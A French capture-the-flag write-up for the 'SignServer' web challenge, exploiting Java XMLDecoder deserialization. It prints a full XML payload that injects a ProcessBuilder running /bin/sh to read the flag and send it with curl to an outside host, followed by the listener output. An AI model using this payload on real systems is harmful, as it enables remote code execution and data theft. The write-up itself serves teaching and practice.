Web 100 – SignServer 100 pts

Document signature is so hot right now! SignServer provides you with the most advanced solution to sign and verify your documents. We support any document types and provide you with a unique, ultra-secure signature.
http://54.174.72.79:9000

Arrivé à l’adresse indiquée nous avons accès à deux services, l’un qui nous permet de signer et l’autre de vérifier une signature.
En envoyant un fichier au hasard (on évite celui qui contient nos mots de passe), on obtient:

<java version="1.8.0_72-internal" class="java.beans.XMLDecoder">
    <object class="models.CTFSignature" id="CTFSignature0">
        <void class="models.CTFSignature" method="getField">
            <string>hash</string>
            <void method="set">
                <object idref="CTFSignature0" />
                <string>86f7e437faa5a7fce15d1ddcb9eaeaea377667b8</string>
            </void>
        </void>
        <void class="models.CTFSignature" method="getField">
            <string>sig</string>
            <void method="set">
                <object idref="CTFSignature0" />
                <string>902d4de8fb705154a1a0107c227b9d510523fa17</string>
            </void>
        </void>
    </object>
</java>

On peut voir que l’objet a été sérialisé en XML et passe dans la moulinette « XML Decoder ».

Après quelques recherches sur cette méthode, on apprend qu’elle peut prendre plusieurs objets en même temps.

La méthode ProcessBuilder sur package java.lang nous permet de faire appel à des commandes systèmes.

On envoie donc avec l’option signature cochée :

<java version="1.8.0_72-internal" class="java.beans.XMLDecoder">
    <object class="models.CTFSignature" id="CTFSignature0">
        <void class="models.CTFSignature" method="getField">
            <string>hash</string>
            <void method="set">
                <object idref="CTFSignature0" />
                <string>86f7e437faa5a7fce15d1ddcb9eaeaea377667b8</string>
            </void>
        </void>
        <void class="models.CTFSignature" method="getField">
            <string>sig</string>
            <void method="set">
                <object idref="CTFSignature0" />
                <string>902d4de8fb705154a1a0107c227b9d510523fa17</string>
            </void>
        </void>
    </object>
	<object class="java.lang.ProcessBuilder">
		<array class="java.lang.String" length="3" >
			<void index="0"> 
				<string>/bin/sh</string>								
			</void>		
			<void index="1"> 
				<string>-c</string>	
			</void>
			<void index="2"> 
				<string>/bin/cat flag | /usr/bin/tee /tmp/res;/usr/bin/curl 195.154.70.52:4444/1 --data "@/tmp/res"</string>								
			</void>				
		</array>					
		<void method="start"/>
	</object>
</java>

En essayant de créer des commandes j’ai rencontré un problème avec les redirections (<,>), c’est pourquoi ma commande pour extraire le flag est plus complexe qu’un simple reverse shell.

listening on [any] 4444 ...
connect to [195.154.70.52] from ec2...
flag{ser1l1azati0n_in_CTF_is_fUN}

Leave a Comment

Votre adresse de messagerie ne sera pas publiée. Les champs obligatoires sont indiqués avec *